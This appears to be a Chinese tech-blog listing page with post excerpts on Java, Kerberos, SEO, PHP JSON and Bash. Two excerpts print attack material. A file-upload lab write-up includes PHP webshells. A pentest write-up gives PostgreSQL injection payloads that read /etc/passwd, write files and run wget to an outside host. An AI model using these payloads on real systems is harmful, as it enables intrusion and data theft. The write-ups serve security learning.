也就是说,攻击发生在WinRAR尝试打开用户想要访问的文件时。ShellExecute函数接收到了打开文件的错误参数。图像文件名与搜索不匹配,引发其被跳过。然后就发现了批处理文件,并执行。 图6 漏洞复现 8月15日该漏洞被分配了CVE编号,但该漏洞从2023年4月开始就被在野利用。研究人员建议WinRAR用户更新到最新的v 6.23版本。 参考及来源:https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/...

    2023-08-30 193
  • Java static关键字 – 变量、方法、块、类和导入语句

    文章目录 1. 静态变量 2. 静态方法 3. 静态导入语句 4.静态代码块 5. 静态内部类 六、总结 Java中的static关键字可以应用于变量、方法、块、导入和内部类。在本教程中,我们将通过示例来了解在这些地方使用static关键字的效果。 1. 静态变量 要声明变量为静态,请在变量声明中使用static关键字。静态变量语法为: 访问修饰符 static 数据类型 变量名; 例如,Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; 静态变量最重要的是它们属于类级别。这意味着运行时变量只能有一份副本。 当您在类定义中定义静态变量时,类的每个实例都可以访问该单个副本。类的单独实例不会像非静态变量那样拥有自己的本地副本。 public class JavaStaticExample { public static void main(String[] args) { DataObject objOne = new DataObject(); objOne.staticVar = 10; objOne.nonStaticVar = 20; DataObject objTwo = new DataObject(); System.out.println(objTwo.staticVar); //10 System.out.println(objTwo.nonStaticVar); //null DataObject.staticVar = 30; //Direct Access System.out.println(objOne.staticVar); //30 System.out.println(objTwo.staticVar); //30 }} class DataObject { public static Integer staticVar; public Integer nonStaticVar;}   输出: 10 null 30 30 请注意我们如何将值更改为 30,两个对象现在都看到更新后的值 30。 您应该注意到的另一件事是我们如何能够使用其类名访问静态变量:DataObject.staticVar。我们不需要创建任何实例来访问static变量。它清楚地表明静态变量属于类范围。 2. 静态方法 要声明静态方法,请static在方法声明中使用关键字。静态方法语法为: 访问修饰符 static 返回值类型 方法名; 例如,返回Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; public static Integer getStaticVar(){ return staticVar;}   以下几个问题需要注意: 您只能访问静态方法内的静态变量。如果尝试访问任何非静态变量,将生成编译器错误,并显示消息“Cannot make a static reference to the non-static field nonStaticVar”。 静态方法可以通过其类引用来访问,并且不需要创建类的实例。尽管您也可以使用实例引用进行访问,但与通过类引用进行访问相比,它没有任何区别。 静态方法也属于类级别范围。 public class JavaStaticExample { public static void main(String[] args) { DataObject.staticVar = 30; //Direct Access Integer value1 = DataObject.getStaticVar(); //access with class reference DataObject objOne = new DataObject(); Integer value2 = objOne.getStaticVar(); //access with instance reference System.out.println(value1); System.out.println(value2); }} class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable public static Integer getStaticVar(){ return staticVar; }}   输出: 30 30 3. 静态导入语句 普通的导入声明用于从包中导入类,以便可以在不使用包引用的情况下使用它们。类似地,静态导入声明用于从类中导入静态成员,并允许在不使用类引用的情况下使用它们。 静态导入语句也有两种形式:单个静态导入和静态导入所有成员。单个静态导入声明从一个类型中导入一个静态成员。静态导入所有成员声明导入一个类型的所有静态成员。 //Single-static-import declaration: import static <<package name>>.<<type name>>.<<static member name>>; //Static-import-on-demand declaration: import static <<package name>>.<<type name>>.*;   例如,System.out //Static import statement import static java.lang.System.out; public class JavaStaticExample{public static void main(String[] args){DataObject.staticVar = 30; out.println(DataObject.staticVar); //Static import statement example }}class DataObject{ public static Integer staticVar; //static variable}   输出: 30 4.静态代码块 静态代码块是类初始化代码的一部分,用static关键字包装起来。 public class Main { //static initializer static { System.out.println("Inside static initializer"); } }   当类被加载到内存中时,静态代码块就会被执行。一个类可以有多个静态块,这些静态块将按照它们在类定义中出现的顺序执行。 import static java.lang.System.out; class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable //It will be executed firststatic {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} //It will be executed second static { out.println(staticVar); }}   输出: 40 5. 静态内部类 在Java中,你可以将一个类声明为静态内部类。就像其他静态成员一样,嵌套类与类的作用域相关联,因此可以在没有外部类对象的情况下访问内部静态类。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example System.out.println( DataObject.StaticInnerClas.innerStaticVar ); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static class StaticInnerClas { Integer innerNonStaticVar = 60; static Integer innerStaticVar = 70; //static variable inside inner class }}   请注意,静态内部类无法访问外部类的非静态成员。它只能访问外部类的静态成员。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example DataObject.StaticInnerClas.accessOuterClass(); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} public static Integer getStaticVar(){return staticVar;} static class StaticInnerClas { public static void accessOuterClass() { System.out.println(DataObject.staticVar); //static variable of outer class System.out.println(DataObject.getStaticVar()); //static method of outer class } }}   输出: 40 六、总结 让我们总结一下Java中关于static关键字的用法 静态成员属于类。无需创建类实例即可访问静态成员。 静态成员(变量和方法)只能在静态方法和静态代码块内访问。 不能在静态方法、静态代码块和静态内部类内部访问非静态成员。 一个类可以有多个静态代码块,它们将按照它们在类定义中出现的顺序执行。 仅当一个类在外部类中声明为内部类时,它才可以是静态的。 静态导入可用于导入类中的所有静态成员。无需任何类引用即可引用这些成员。   ...

    2023-08-29 261
  • 内网渗透:Kerberos认证协议安全性分析

    前言 要想进行内网渗透,可以说必须了解kerberos协议,可以说这是一个基础,本文总结了kerberos的认证流程以及可能出现的攻击方式。 Kerberos认证 kerberos认证是什么? Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。 Kerberos一词来源于希腊神话——一条凶猛的三头保卫神犬,用这个名字可能意味保护认证过程中的安全。 同时,Kerberos 是一种基于加密 Ticket 的身份认证协议。 kerberos的组成部分 Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service。如下图所示: 下面来看看每个部分具体的作用是什么 KDC:密钥分发中心,负责存储用户信息,管理发放票据,是Kerberos的核心部分。KDC默认是安装在域控中的。 由上图中可以看到 KDC 又分为两个部分: Authentication Server:AS 的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张 TGT(Ticket Granting Ticket)票给 Client。 Ticket Granting Server:TGS 的作用是通过 AS 发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票 ST)。ST(ServiceTicket)也有资料称为 TGS Ticket,为了和 TGS 区分,在这里就用 ST 来说明。 KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 client:想访问某个server的客户端,通常是域内主机。 server:提供某种业务的服务,如http,mysql等 域控内还存在AD,也就是活动目录,用于存储用户,用户组,域相关的信息。   kerberos的认证流程 从上图可以看出整个认证过程总共分成了6步,分为下面三个阶段。 AS_REQ & AS_REP TGS_REQ & TGS_REP AP-REQ & AP-REP 下面来详细看看各个阶段所完成的工作: AS_REQ 当域内的某个client想要访问某个服务时,输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求 请求内容是:Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。 注意这里传递是用clinet的哈希值加密的内容,而不是传递了client的明文密码 AS_REP AS收到请求后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密 ...

    2023-08-28 180
  • 服务器端漏洞篇之文件上传漏洞专题

    今天是之前梨子从来没发过的文件上传专题。 声明 该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。 本系列介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。 梨子有话说 梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。 服务器端漏洞篇介绍 burp官方说他们建议初学者先看服务器漏洞篇,因为初学者只需要了解服务器端发生了什么就可以了 服务器端漏洞篇 - 文件上传漏洞专题 什么是文件上传漏洞? 文件上传漏洞就是在未经充分验证像文件名、类型、内容或大小时允许用户上传文件到文件系统。这就导致会有用户在一个简单的图片上传功能点在没有严格限制的情况下上传任意具有潜在危险的文件,甚至包括含有rce操作的脚本文件。 文件上传漏洞有什么影响? 文件上传漏洞的影响通常取决于以下两个因素: 网站未验证文件的哪个方面,比如大小、类型、内容等等 文件上传成功后有那些限制 最坏的情况就是,网站未验证文件的类型,并且允许将这类文件(如.jsp或.php)作为代码执行。这种情况下,攻击者可以悄悄地上传一个作为webshell功能的代码文件,从而授予它们服务器完全的控制权。如果网站未验证文件名,就可导致攻击者通过上传同名文件的方式轻而易举地覆盖关键文件。如果站点还存在目录穿越漏洞,攻击者甚至可以覆盖服务器上任意位置的任意文件。如果网站没有保证文件大小在阈值范围内,攻击者可发动DOS攻击并借此填满磁盘。 文件上传漏洞是如何产生的? 正常来讲,开发者不会对上传不进行任何限制,但是他们只是做了他们认为很强的限制。例如,开发者将危险的文件类型设置进黑名单,但是在检测文件扩展名的时候却忽略了解析差异。即使设置了黑名单,其实还是会忽略到很多危险的未知文件类型。有的情况下,站点仅通过验证属性的方式检测文件类型,这很容易通过burp抓包修改。这就产生了主机与目录之间的差异,从而被利用。 web服务器(中间件)是如何处理静态文件的请求的? 早些年,网站是完全由静态文件构成的,请求的路径与服务器上的文件目录是1:1对应的。但是随着技术的发展,网站越来越动态,用户请求的路径通常与文件系统没有直接关系,并且网站也在同时处理一些静态文件,如图表、图像之类的。网站处理静态文件的过程都是大致相同的,用户请求即返回对应的静态文件。有时候站点通过解析请求中的路径识别文件的扩展名。站点通常是通过将扩展名与MIME类型之间的预配置列表进行对比的方式确定文件的类型。后面会发生什么取决于文件类型和服务器的配置。 如果文件类型是不可执行的,如图像或html文件,服务器则只会在http响应中返回文件内容给客户端。 如果文件类型是可执行的,如php文件,并且服务器被配置为允许执行这种类型的文件,服务器会先根据请求中的头和参数分配变量,然后带入脚本运行,然后再将输出通过http响应发送给客户端。 如果文件类型是可执行的,但是服务器被配置为不执行这类文件,服务器一般会返回报错。不过有时候这些可执行文件的内容会以纯文本的形式发送给客户端,这就可能存在如泄漏源代码或其他敏感信息之类的风险。 利用不受限制的文件上传来部署webshell 从安全的角度看,最糟糕的情况就是网站允许用户上传动态脚本文件,如php、java或python文件并且还配置为将它们作为代码执行。这样我们部署webshell就非常容易了。如果成功上传了webshell,我们就可能完全控制服务器。这就意味着你可以读写任意文件、泄漏敏感数据,甚至可以利用服务器对内部基础设施及其他服务器发起攻击。例如,下面这行php代码可用于从服务器中读取任意文件: <?php echo file_get_contents('/path/to/target/file'); ?> 上传后,就会在响应中接收到目标文件的内容。一个更加通用的webshell可能长这样: <?php echo system($_GET['command']); ?> 然后我们通过传入不同的请求参数就可以执行任意命令: GET /example/exploit.php?command=id HTTP/1.1 配套靶场:通过上传webshell的rce 题目说有一个存在漏洞的图片上传点,并且它不会对上传的文件做任何限制。上传图片的功能点要用给的账号登进去。 我们发现它并没有限制上传文件的类型,所以我们直接上传一个txt,然后修改文件的内容,并且修改扩展名和文件类型。 <?php echo file_get_contents('/home/carlos/secret'); ?> 然后我们通过访问头像即可触发执行我们上传的php脚本,从而看到/home/carlos/secret中的答案 成功解题! 利用有缺陷的验证机制的文件上传 有缺陷的文件类型验证 当我们提交HTML表单时,浏览器通常会在一个content-type为application/x-www-form-url-encoded的POST请求中发送提供的数据。这种方式适用于发送如姓名、地址等简单文本,而不适合发送大量二进制数据,如图像文件或pdf文档。这种情况下,content-type为multipart/form-data就成为了首选。我们设想一个包含上传的图像、图像描述还有用户名字段的表单,它的请求包可能长这样: POST /images HTTP/1.1 Host: normal-website.com Content-Length: 12345 Content-Type: multipart/form-data; boundary=---------------- ...

    2023-08-28 174
  • 如何在短时间内迅速增加网站反链数量?

    反链是指其他网站链接到你的网站的链接,也被称为入站链接或反向链接。反链是网站SEO优化中非常重要的一部分,因为它可以提高网站的权威性和网站在搜索引擎中排名。那么,那如何增加反链数量呢?现帮你梳理如下: 要在短时间内迅速增加网站的反链,可以考虑以下几个方法: 1、内容质量优化:提供有价值、有吸引力的内容是吸引其他网站链接的关键。如果你提供有价值、高质量的内容,其他网站自然会愿意链接到你的网站。因此,要注重网站内容的质量和相关性,尽可能提供有价值的信息和资源。网站的内容可以包括文章、视频、图片等相关资料,要保持内容的更新和多样性,确保一个访客到通过搜索引擎进入到你的网站,阅读了你所更新的内容,具有一定的可读性,所以说定期发布新的原创内容尤为重要,可以吸引更多的访问者和链接。 2、社交媒体推广:积极利用社交媒体平台分享你的网站内容,并邀请用户积极参与。在社交媒体上分享你的网站链接,可以吸引更多的用户点击你的链接,并分享给他们的朋友和关注者。因此,要积极参与社交媒体,建立个人或公司的社交媒体账号,增加网站曝光度和链接数量。你可以在社交媒体上发布与网站相关的内容,包括文章、图片、视频等你网站的资料,吸引用户点击你的链接。 3、参与行业社区和论坛:主动参与相关行业的社区和论坛,发表一些高质量的帖子和评论,与其他人分享经验和网友们互动,也是增加反链数量的一种有效方式。在帖子中附加你的网站链接,以便其他用户访问。但请注意,不要进行过度的广泛宣传,而应以提供有价值的信息为主,过度带链接会引起网站进入沙盒状态。 4、宣传推广增加反链:可以通过广告、公关活动等方式宣传推广你的网站,让更多人知道你的网站,并链接到你的网站,当然这种成本较高,对于一些个人站长来说,并不是太适全。这种方式需要一定的时间、经费投入和策划,但可以带来更多的流量和反链。你可以通过社交媒体、搜索引擎营销、线下推广等方式宣传你的网站,吸引更多的用户和链接。 5、与其他网站建立友情链接:互相链接,也是增加反链数量的有效方式。但要注意,友情链接的质量较为重要。要选择老站,收录量较大站点与建立链接,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,老站本身在线时间较长,加之收录量大,受搜索引擎的更加信任,从而能辅助给目标站带来一定的信任值。 总结增加反链数量是网站SEO优化中非常重要的一部分。要注重网站内容的质量和原创图文并茂内容更新,积极参与社交媒体和相关论坛、博客等网站,宣传推广你的网站,并与其他网站建立友情链接,才能提高网站的权威性和更好的名次。同时,要注意反链的质量,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,对网站起不到较好的辅助拉升作用。...

    2023-08-28 158
  • 谷歌浏览器怎么下载安装?(谷歌浏览器最新下载方法)

    Google Chrome是一款由Google公司开发的网页浏览器,无论是稳定性、速度、安全性,都是它的优点,我们在工作中使用谷歌Chrome能大大的提高我们的工作效率。对于有些用户不知道怎么下载谷歌Chrome!下面小编就详细的给大家介绍谷歌Chrome下载安装方法。   谷歌Chrome浏览器怎么下载安装? 第一步:我们在浏览器地址栏输入下载地址:https://www.google.cn/chrome/,或是在百度搜索框中输入关键字“chrome”,现在会出来很多,我们需要找到Google官方官网,打开它;   第二步:进入官网后,点击“下载Chrome”按钮;   如果您下载以后找不到了,可以点击右上角的三个带你找到下载。要是没有下载,进行手动下载chrome链接。   第三步:此时双击打开文件,然后等待安装,要是中间有弹出窗口,点击“运行”或是“是”、“允许安装”,一律同意就行。   谷歌Chrome浏览器优点 1、Chrome启动速度快、浏览器速度快、界面简单; 2、内置原装网页翻译,方便大家浏览器外文网站,所有插件的按钮都出现在上方,反应快,网银要是不兼容可以装个ietab就可以。 3、同步功能,专为Chrome提供的服务,无论我们是在手机端还是电脑端,都是可以同步的,非常的方便。 4、书签,书签在地址栏的下方,想要收藏的网站,直接收藏,下载想要再次访问时,直接点击打开即可访问,超级的方便。 5、更新速度快,谷歌Chrome更新速度非常快,各种新功能才能尽快的推出、各种bug才能迅速修复。有了快捷更新,对于网页新的技术也能尽快支持。 总结:以上就是谷歌Chrome下载安装的方法,如果您也想要使用谷歌Chrome,那么按照以上的方法进行操作即可,小编使用习惯了谷歌浏览器,就不再想用其他的浏览器啦!确实非常的好用。...

    2023-08-26 256
  • json_decode() 和 json_encode() 函数的区别和用法

    JSON是一种轻量级的数据交换格式,常用于前后端数据的传输和存储。JSON由键值对组成,其中键必须是字符串,值可以是字符串、数字、布尔值、数组、对象或null。在编程中,我们经常需要将JSON格式的数据转换为程序可用的数据类型,称为解码或反序列化操作。在PHP中,可以使用json_decode()函数进行这个操作。 例如,我们有以下JSON字符串: ``` $json_str = '{"name":"Tom","age":18,"is_student":true}'; ``` 我们可以使用json_decode()函数将它转换为PHP对象或关联数组,如下所示: ``` $php_obj = json_decode($json_str); // 返回一个stdClass对象 $php_arr = json_decode($json_str, true); // 返回一个关联数组 ``` 注意,第二个参数为true时,json_decode()函数将返回关联数组,否则返回stdClass对象。如果JSON字符串无效,json_decode()函数将返回null。   而在编程中我们也经常需要将数据转换为JSON格式进行传输和存储。在PHP中,可以使用json_encode()函数将PHP对象或数组转换为JSON字符串。 例如,我们有以下PHP数组: ``` $person = array("name" => "Tom", "age" => 18, "is_student" => true); ``` 我们可以使用json_encode()函数将它转换为JSON字符串,如下所示: ``` $json_str = json_encode($person); // 返回 '{"name":"Tom","age":18,"is_student":true}' ``` 注意,json_encode()函数可以接受多个参数,其中第二个参数指定是否格式化输出,第三个参数指定JSON中字符串的引号风格,第四个参数指定JSON编码的深度等。有关更多详细信息,请参阅PHP文档。...

    2023-08-26 195
  • 又记一次安服仔薅洞实战-未授权之发现postgresql注入

    上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 0x00前言 距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 首先映入眼帘的是个登录框 老样子找未授权和弱口令,不过这一次这个站有阿里云waf就没有扫目录啦。弱口令admin:123456,很显然开发没这么蠢 这时候应该思考什么,为什么这个站只有登录没有注册,那要怎么注册呢,一定存在一个注册的地方但不在这里。这时候试一下未授权,将目录中的login改成admin试试,果然进来了 在翻一翻,左边企业目录没有数据和修改密码都因为是未授权进来没有什么数据,那目光只能放在帮助上了 帮助处存在两个手册,先来翻一翻这两个手册 先查看第一个手册物业操作手册,可以知道两个信息,初始账户密码都是123456以及有一个手机端但是不知道是APP还是微信公众号还是小程序。 再查看第二个手册企业操作手册,果然这里发现了原来是有个微信公众号里面的小功能呀。 整理一下思路,存在微信公众号以及初始账号密码是123456,这时去爆破看看账号密码咯~ 0x01暴力破解 在翻手册中看到是企业用户那应该用的是人名的拼音作为账号,密码就是123456去试试 果然存在账号密码是123456可惜只能用手机号登录,高危漏洞先记录一个暴力破解存在。 0x02敏感信息泄漏 再看看历史数据包发现了一个有趣的东西,一个白给的数据泄漏 输入pass看看有没有信息,白给了一堆账号密码,不过都利用不了就放着了,再记一个敏感信息高危了 这里web没啥东西了,去微信公众号看看去,根据之前未授权查看的帮助文档顺利找到了这个公众号,一步步点下来终于找到注册的地方咯 0x03用户名枚举 账号注册先放一边,又看到了熟悉的操作手册,点开来看看 点进去看一看,发现了几个电话号码,通过web端的验证看看 通过web端的手机登录,果然存在该用户,喜提手机号枚举中危 0x04PDSQL注入 回归企业用户注册正题来了,接下来干货满满 点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入 尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了 先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢 先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400) ,传入的数据在两个百分号之间。 一开始我尝试在参数后面添加';payload--+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'和一张图片 现在来分析一下这个语句,单引号'是用来闭合原本语句中的前单引号',符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法 这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1 0x05任意文件读取 继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过 '||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。 0x06任意文件写入 使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--,并且用URL编码加密在tmp目录下2.jsp文件写入1234 然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'查询tmp目录下的2.jsp,已经上传成功了 如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'读取tmp目录下3.jsp是不存在的 这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。 0x07命令执行 使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。 期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。 秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见...

    2023-08-25 222
  • 使用蓝牙替代WiFi热点实现低功耗分享网络

    在热点分享里面,设置,打开“蓝牙共享网络”,这样子不需要打开WiFi热点,只要蓝牙两个手机连着就能使用网络。耗电量远远低于WiFi热点。 速率900kbps,大概意思是90kb/s吧?我是通过除以十算的。看视频最低300才不卡,这个速率,看看网页,日常聊天够用了。 ...

    2023-08-25 190
  • Bash脚本编程入门

    Shell 是 Linux 的核心部分,它允许你使用各种诸如 cd、ls、cat等的命令与 Linux 内核进行交互。 Bash 是 Linux 上众多可用的 Shell 中的一个。这些 Shell 主要的语法基本相同,但并非完全一样。Bash 是目前最受欢迎的 Shell,并在大多数 Linux 发行版中被设为默认 Shell。 当你打开一个终端或 SSH 会话时,即使你无法真切地看到它,你其实已经在运行着一个 Shell。 当你输入一个命令,它会被 Shell 解释。如果命令和语法是正确的,它就会被执行,否则你会看到一个错误。 当你可以直接运行 Linux 命令时,为什么还需要 Bash 脚本? 你可以直接在终端输入命令,它们就会被执行。 $ echo "hello world" hello world 并且,同样的操作也可以在脚本中进行: $ cat >> script.sh #!/bin/bash echo "hello world" $ bash script.sh hello world 那么,为什么我们需要 Shell 脚本呢?因为你不必一遍又一遍地输入同一个命令,你只需运行 Shell 脚本即可。 此外,如果你的脚本中有复杂的逻辑,把所有的命令都输入到终端中可能并不是一个好主意。 例如,如果你输入下面的命令,它会奏效,但这并不容易理解。不断地输入相同的命令(甚至要在 Bash 历史记录中搜索)会造成困扰。 if [ $(whoami) = 'root' ]; then echo "root"; else echo "not root"; fi 相反,你可以把命令放进 shell 脚本中,这样就更容易理解并且可以轻松运行了: #!/bin/bash if [ $(whoami) = 'root' ]; then echo "You are root" else echo "You are not root" fi 这还是比较简单的情况。尝试想象一下,一个复杂的脚本可能有五十行或一百行! 你将会学到什么? 在这个 Bash 脚本教程中,有九个部分。你将会学到: 创建并运行你的第一个 Bash Shell 脚本 使用变量 在你的 Bash 脚本中传递参数和接受用户输入 进行数学计算 操作字符串 使用条件语句,例如 if-else 使用 for、while和until循环 创建函数 ? 所有的部分都会给你一个简单的例子。如果你愿意,你可以通过访问每个部分的详细章节来更深入地学习。这些章节也都包含了实践练习。 这个教程的目标读者是谁? 这个教程适合任何想要开始学习 Bash Shell 脚本的人。 如果你是一名学生,而你的课程里包括了 Shell 脚本,那么这个系列就是为你准备的。 如果你是一个常规的桌面 Linux 用户,这个系列将会帮助你理解在探索各种软件和修复问题时遇到的大多数 Shell 脚本。你也可以使用它来自动化一些常见的、重复的任务。 在这个 Bash 脚本教程结束时,你应该可以编写简单的 Bash 脚本。 ? 希望你已经拥有 Linux 命令行和编程语言的基础知识。 如果你对 Linux 命令行完全不熟悉,我建议你先掌握基础知识。 19 个你应该知道的基础而重要的 Linux 终端技巧 你应该了解如何在命令行中进入特定的位置。为了做到这一点,你需要理解 Linux 文件系统中的路径是如何工作的。 Linux 中的绝对路径和相对路径有什么不同 接下来,这个教程系列会给你介绍目录导航和文件操作的基本知识。 终端基础:Linux 终端入门 1、编写你的第一个 Bash Shell 脚本 创建一个名为 hello.sh的新文件: nano hello.sh 这将在终端中打开 nano 编辑器。在其中输入以下几行代码: #!/bin/bash echo "Hello World" 通过按 Ctrl+X键可以保存并退出 nano 编辑器。 现在,你可以以以下方式运行 Bash Shell 脚本: bash hello.sh 你应该可以看到以下的输出: Hello World 另一种方式是首先赋予脚本执行权限: chmod u+x hello.sh 然后这样运行它: ./hello.sh ? 你也可以使用基于图形用户界面的文本编辑器来编写脚本。这可能更适合编写较长的脚本。然而,你需要切换到保存脚本的目录中才能运行它。 恭喜!你刚刚运行了你的第一个 Bash 脚本。 Bash 基础知识系列 #1:创建并运行你的第一个 Bash Shell 脚本 2、在 Bash 脚本中使用变量 变量的声明方式如下: var=some_value 然后可以像这样访问变量: $var ? 在声明变量时,等号(=)前后不能有空格。 我们通过添加一个变量来修改前面的脚本。 #!/bin/bash message="Hello World" echo $message 如果运行这个脚本,输出仍然会保持不变。 Hello World Bash 基础知识系列 #2:在 Bash 中使用变量 3、向 Bash 脚本传递参数 你可以在运行 Bash 脚本时以以下方式传递参数: ./my_script.sh arg1 arg2 在脚本中,你可以使用 $1来代表第 1 个参数,用$2来代表第 2 个参数,以此类推。$0是一个特殊变量,它代表正在运行的脚本的名字。 现在,创建一个新的 shell 脚本,命名为 arguments.sh,并向其中添加以下几行代码: #!/bin/bash echo "Script name is: $0" echo "First argument is: $1" echo "Second argument is: $2" 使其可执行并像这样运行它: $ ./argument.sh abhishek prakash Script name is: ./argument.sh First argument is: abhishek Second argument is: prakash 让我们快速看一下特殊变量: 特殊变量 描述 $0 脚本名称 $1、$2…$9 脚本参数 ${n} 10 到 255 的脚本参数 $# 参数数量 $@ 所有参数一起 $$ 当前 shell 的进程 id $! 最后执行命令的进程 id $? 最后执行命令的退出状态 你也可以通过接受键盘输入使你的 Bash 脚本变得交互式。 为此,你必须使用 read命令。你还可以使用read -p命令提示用户进行键盘输入,而不需要echo命令。 #!/bin/bash echo "What is your name, stranger?" read name read -p "What's your full name, $name? " full_name echo "Welcome, $full_name" 现在,如果你运行这个脚本,当系统提示你输入“参数”时,你必须输入。 $ ./argument.sh What is your name, stranger? abhishek What's your full name, abhishek? abhishek prakash Welcome, abhishek prakash Bash 基础知识系列 #3:传递参数和接受用户输入 4、执行算术运算 在 Bash Shell 中执行算术运算的语法是这样的: $((arithmetic_operation)) 下面是你可以在 Bash 中执行的算术运算的列表: 操作符 描述 + 加法 - 减法 * 乘法 / 整数除法(没有小数) % 模运算(只余) ** 指数(a 的 b 次方) 以下是在 Bash 脚本中进行加法和减法的示例: #!/bin/bash read -p "Enter first number: " num1 read -p "Enter second number: " num2 sum=$(($num1+$num2)) sub=$(($num1-$num2)) echo "The summation of $num1 and $num2 is $sum" echo "The substraction of $num2 from $num1 is $sub" 你可以执行 Shell 脚本,使用你选择的任意数字作为参数。 如果你尝试除法,会出现一个大问题。Bash 只使用整数。默认情况下,它没有小数的概念。因此,你会得到 10/3 的结果为3,而不是 3.333。 对于浮点数运算,你需要这样使用 bc命令: #!/bin/bash num1=50 num2=6 result=$(echo "$num1/$num2" | bc -l) echo "The result is $result" 这个时候,你将看到准确的结果。 The result is 8.33333333333333333333 Bash 基础知识系列 #4:算术运算 5、在 Bash 脚本中使用数组 你可以使用 Bash 中的数组来存储同一类别的值,而不是使用多个变量。 你可以像这样声明一个数组: distros=(Ubuntu Fedora SUSE "Arch Linux" Nix) 要访问一个元素,使用: ${array_name[N]} 像大多数其他的编程语言一样,数组的索引从 0 开始。 你可以像这样显示数组的所有元素: ${array[*]} 这样获取数组长度: ${#array_name[@]} Bash 基础知识系列 #5:在 Bash 中使用数组 6、Bash 中的基础字符串操作 Bash 能够执行许多字符串操作。 你可以使用这种方式获取字符串长度: ${#string} 连接两个字符串: str3=$str1$str2 提供子字符串的起始位置和长度来提取子字符串: ${string:$pos:$len} 这里有一个例子: 你也可以替换给定字符串的一部分: ${string/substr1/substr2} 并且你也可以从给定字符串中删除一个子字符串: ${string/substring} Bash 基础知识系列 #6:处理字符串操作 7、在 Bash 中使用条件语句 你可以通过使用 if或if-else语句为你的 